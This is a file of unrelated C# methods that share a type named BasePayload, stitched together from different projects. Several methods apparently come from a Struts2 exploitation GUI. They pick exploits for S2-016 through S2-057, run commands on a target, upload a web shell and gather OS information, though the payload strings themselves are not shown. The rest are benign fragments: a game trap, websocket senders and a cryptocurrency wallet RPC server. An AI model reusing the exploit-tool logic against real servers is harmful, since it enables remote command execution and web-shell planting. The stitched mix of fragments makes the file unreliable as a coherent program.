private bool LogEveryMessage(BasePayload obj) { var json = JsonConvert.SerializeObject(obj); Log.Info($"\n Message received to {GetType()}.\n\t Message: {json}\n"); return(false); }
public String executeCmd(String cmd, String method, String url, String cookie, String vulName) { LogMessage("正在执行命令中,请稍等片刻........"); String cmdstr = Uri.EscapeDataString(cmd); BasePayload bp = getPayload(vulName); String result = ""; if (vulName.Equals("S2-057")) { Dictionary <String, String> dic = requestGetHeader(method, url, "", bp.Get_Exp_Exec(cmd), cookie, vulName); bool c = dic.TryGetValue("cmd", out result); if (result == null) { result = ""; } } else if (!vulName.Equals("S2-045") && !vulName.Equals("S2-046")) { result = request(method, url, bp.Get_Exp_Exec(cmdstr), "", cookie, vulName); } else { result = request(method, url, "", bp.Get_Exp_Exec(cmd), cookie, vulName); } LogMessage("执行完成!"); if (!string.IsNullOrEmpty(result)) { return(result.Replace("\n", "\r\n")); } else { return(""); } }
public String uploadFile(String url, String shellPath, String shellName, String cookie, String vulName) { LogMessage("正在上传文件,请稍等片刻........"); String method = this.cmb_method.Text; String fileContent = this.txt_shellContent.Text; String fileContent_encode = System.Web.HttpUtility.UrlEncode(fileContent, Encoding.UTF8); String path = ""; if (!"如:/home/web/shell.jsp".Equals(shellPath) && !"".Equals(shellPath)) { path = shellPath; } BasePayload bp = getPayload(vulName); String result = ""; if (!vulName.Equals("S2-045") && !vulName.Equals("S2-046")) { result = request(method, url, bp.Get_Exp_Upload(path, shellName, fileContent_encode), "", cookie, vulName); } else { result = request(method, url, fileContent, bp.Get_Exp_Upload(path, shellName, ""), cookie, vulName); } return(result); }
public String checkVul(String url, String vul) { BasePayload bp = getPayload(vul); String method = this.cmb_method.Text; String cookie = this.txt_cookie.Text; String result = ""; if (vul.Equals("S2-057")) { Dictionary <String, String> dic = requestGetHeader(method, url, "", bp.Get_Exp_Check(), cookie, vul); bool c = dic.TryGetValue("eresult", out result); if (result == null) { result = ""; } } else if (!vul.Equals("S2-045") && !vul.Equals("S2-046")) { result = request(method, url, bp.Get_Exp_Check(), "", cookie, vul); } else { result = request(method, url, "", bp.Get_Exp_Check(), cookie, vul); } return(result); }
void Start() { GameManager.get().RegisterTrap(this); if (m_particles != null) { m_particles.SetActive(false); } m_payload = GetComponentInChildren <BasePayload>(); if (m_payload == null) { Debug.LogError("Trap missing payload!"); } }
public Task SendPayloadAsync(BasePayload payload) { if (!_isUseable) { return(Task.CompletedTask); } var serialize = JsonConvert.SerializeObject(payload); _log?.WriteLog(LogSeverity.Debug, serialize); var seg = new ArraySegment <byte>(_encoding.GetBytes(serialize)); return(_clientWebSocket.SendAsync(seg, WebSocketMessageType.Text, true, CancellationToken.None)); }
public Task SendPayloadAsync(BasePayload payload) { if (!isUseable) { return(Task.CompletedTask); } var serialize = JsonConvert.SerializeObject(payload); _log?.Invoke(VictoriaExtensions.LogMessage(LogSeverity.Verbose, serialize)); var seg = new ArraySegment <byte>(_encoding.GetBytes(serialize)); return(clientWebSocket.SendAsync(seg, WebSocketMessageType.Text, true, CancellationToken.None)); }
public void getVerinfo() { LogMessage("正在获取环境信息........"); String url = this.txt_url.Text; String vul = this.com_vul.Text; BasePayload bp = getPayload(vul); String method = this.cmb_method.Text; String cookie = this.txt_cookie.Text; String result = ""; if (url.Length <= 0) { LogWarning("警告:url为空!"); } else if (vul.Equals("S2-057")) { Dictionary <String, String> dic = requestGetHeader(method, url, "", bp.Get_Exp_VerInfo("os.name"), cookie, vul); bool c = dic.TryGetValue("os.name", out result); if (result == null) { result = ""; } Dictionary <String, String> dic1 = requestGetHeader(method, url, "", bp.Get_Exp_VerInfo("os.version"), cookie, vul); String c1 = ""; dic1.TryGetValue("os.version", out c1); result += "\r\n" + c1 + "\r\n"; Dictionary <String, String> dic2 = requestGetHeader(method, url, "", bp.Get_Exp_Path(), cookie, vul); String c2 = ""; dic2.TryGetValue("webpath", out c2); result += c2 + "\r\n"; } else if (!vul.Equals("S2-045") && !vul.Equals("S2-046")) { result = Tools.getContent(request(method, url, "", bp.Get_Exp_VerInfo("os.name"), cookie, vul), vul) + "\r\n"; result += Tools.getContent(request(method, url, bp.Get_Exp_VerInfo("os.version"), "", cookie, vul), vul) + "\r\n"; result += Tools.getContent(request(method, url, bp.Get_Exp_Path(), "", cookie, vul), vul) + "\r\n"; } else { result = Tools.getContent(request(method, url, "", bp.Get_Exp_VerInfo("os.name"), cookie, vul), vul) + "\r\n"; result += Tools.getContent(request(method, url, "", bp.Get_Exp_VerInfo("os.version"), cookie, vul), vul) + "\r\n"; result += Tools.getContent(request(method, url, "", bp.Get_Exp_Path(), cookie, vul), vul) + "\r\n"; } this.txt_info.Text = result; LogWarning(result); this.btn_verinfo.Enabled = true; }
//public static string Address { get; set; } public static async Task <T> Send <T>(string address, BasePayload message) { using (var client = new RequestSocket()) { // try // { client.Connect($"tcp://{address}"); //} catch (Exception e) //{ // return new ResultPayload() { Success = false, Message = "Error connecting to RPC server:" + e.Message }; //} // try // { client.SendFrame(JsonConvert.SerializeObject(message)); //} //catch (Exception e) //{ // return new ResultPayload() { Success = false, Message = "Error during send:" + e.Message }; //} // try // { var basePayload = JsonConvert.DeserializeObject <T>(client.ReceiveFrameString()); return(basePayload); //if (basePayload.Type == typeof(HelloResultPayload)) //{ // var sendContractPayload = JsonConvert.DeserializeObject<SendContractPayload>(message); // _App.SendContract(sendContractPayload.ContractHash, sendContractPayload.Data); // server.SendFrame(JsonConvert.SerializeObject(new ResultPayload() { Success = true })); //} //else if (basePayload.Type == typeof(GetACSPayload)) //{ // server.SendFrame(JsonConvert.SerializeObject(new GetACSResultPayload() { Contracts = _App.GetActiveContracts().ToArray() })); //} //else if (basePayload.Type == typeof(HelloPayload)) //{ // server.SendFrame(JsonConvert.SerializeObject(new HelloResultPayload())); //} //return result is ResultPayload ? (ResultPayload)result : new ResultPayload() { Success = false }; //} //catch (Exception e) //{ // return new ResultPayload() { Success = false, Message = "Error during receive:" + e.Message }; //} } }
public BasePayload getPayload(String vulName) { BasePayload bp = null; if (vulName.Equals("S2-016")) { bp = new S2016(); } else if (vulName.Equals("S2-019")) { bp = new S2019(); } else if (vulName.Equals("S2-032")) { bp = new S2032(); } else if (vulName.Equals("S2-037")) { bp = new S2037(); } else if (vulName.Equals("S2-045")) { bp = new S2045(); } else if (vulName.Equals("S2-046")) { bp = new S2046(); } else if (vulName.Equals("S2-048")) { bp = new S2048(); } else if (vulName.Equals("S2-057")) { bp = new S2057(); } return(bp); }
async void OnReceiveReady(object sender, NetMQSocketEventArgs e) { BasePayload request = null; ResultPayload response = null; try { var message = _responseSocket.ReceiveFrameString(); var basePayload = JsonConvert.DeserializeObject <BasePayload>(message); request = (BasePayload)JsonConvert.DeserializeObject(message, basePayload.Type); TUI.WriteColor($"{request}->", ConsoleColor.Blue); response = await GetResult(request); } catch (Exception ex) { response = new ResultPayload() { Success = false, Message = ex.Message }; } if (response != null) { try { TUI.WriteColor($"<-{response}", ConsoleColor.Blue); _responseSocket.SendFrame(JsonConvert.SerializeObject(response)); } catch (Exception ex) { TUI.WriteColor($"RPCServer could not reply to a {request} payload, got exception: {ex.Message}", ConsoleColor.Red); } } }
async Task <ResultPayload> GetResult(BasePayload payload) { var type = payload.Type; if (type == typeof(SpendPayload)) { var spendPayload = (SpendPayload)payload; var _result = await _App.Spend(new Address(spendPayload.Address), spendPayload.Amount); return(new ResultPayload { Success = _result }); } if (type == typeof(SendContractPayload)) { var sendContractPayload = (SendContractPayload)payload; var result = await new ExecuteContractAction() { ContractHash = sendContractPayload.ContractHash, Message = sendContractPayload.Data }.Publish(); if (!result.Item1) { return(new SendContractResultPayload { Success = false }); } var transmitResult = await _App.NodeManager.Transmit(result.Item2); if (transmitResult != BlockChain.BlockChain.TxResultEnum.Accepted) { return(new SendContractResultPayload { Success = false, Message = transmitResult.ToString() }); } return(new SendContractResultPayload { Success = true, TxHash = Consensus.Merkle.transactionHasher.Invoke(result.Item2) }); } if (type == typeof(ActivateContractPayload)) { var activateContractPayload = (ActivateContractPayload)payload; var amount = (ulong)BlockChain.ActiveContractSet.KalapasPerBlock(activateContractPayload.Code) * (ulong)activateContractPayload.Blocks; Consensus.Types.Transaction tx; var success = _App.WalletManager.GetContractActivationTx(Encoding.ASCII.GetBytes(activateContractPayload.Code), amount, out tx); var resultPayload = new ResultPayload(); if (!success) { resultPayload.Message = "Could not get signed tx"; resultPayload.Success = false; } else { var transmitResult = await _App.NodeManager.Transmit(tx); if (transmitResult != BlockChain.BlockChain.TxResultEnum.Accepted) { resultPayload.Message = "Could not transmit. Result: " + transmitResult; resultPayload.Success = false; } else { resultPayload.Success = true; } } return(resultPayload); } if (type == typeof(GetACSPayload)) { return(new GetACSResultPayload() { Success = true, Contracts = new GetActiveContractsAction().Publish().Result.Select(t => new ContractData() { Hash = t.Hash, LastBlock = t.LastBlock, Code = new GetContractCodeAction(t.Hash).Publish().Result }).ToArray() }); } if (type == typeof(HelloPayload)) { return(new HelloResultPayload()); } //if (type == typeof(GetContractCodePayload)) //{ // var contractHash = ((GetContractCodePayload)payload).Hash; // return new GetContractCodeResultPayload() { Success = true, Code = _App.GetContractCode(contractHash) }; //} if (type == typeof(GetContractTotalAssetsPayload)) { var contractHash = ((GetContractTotalAssetsPayload)payload).Hash; // var totals = _App.GetTotalAssets(contractHash); return(new GetContractTotalAssetsResultPayload { Confirmed = 999, // totals.Item1, Unconfirmed = 999 // totals.Item2 }); } if (type == typeof(GetContractPointedOutputsPayload)) { var _payload = (GetContractPointedOutputsPayload)payload; var result = new GetContractPointedOutputsAction(_payload.ContractHash).Publish().Result; return(new GetContractPointedOutputsResultPayload { Success = true, PointedOutputs = GetContractPointedOutputsResultPayload.Pack(result) }); } if (type == typeof(MakeTransactionPayload)) { var _payload = (MakeTransactionPayload)payload; var result = await _App.Spend(new Address(_payload.Address), _payload.Amount); return(new ResultPayload { Success = result }); } if (type == typeof(EnsureTestKeyAcquiredPayload)) { var privateKey = ((EnsureTestKeyAcquiredPayload)payload).PrivateKey; if (!_App.TestKeyImported(privateKey)) { _App.WalletManager.Import(Key.Create(privateKey)); } return(new ResultPayload { Success = _App.TestKeyImported(privateKey) }); } //if (type == typeof(GetBalancePayload)) //{ // var _payload = (GetBalancePayload)payload; // return new GetBalanceResultPayload // { // Success = true, // Balance = _App.CalcBalance(_payload.Asset) // }; //} return(null); }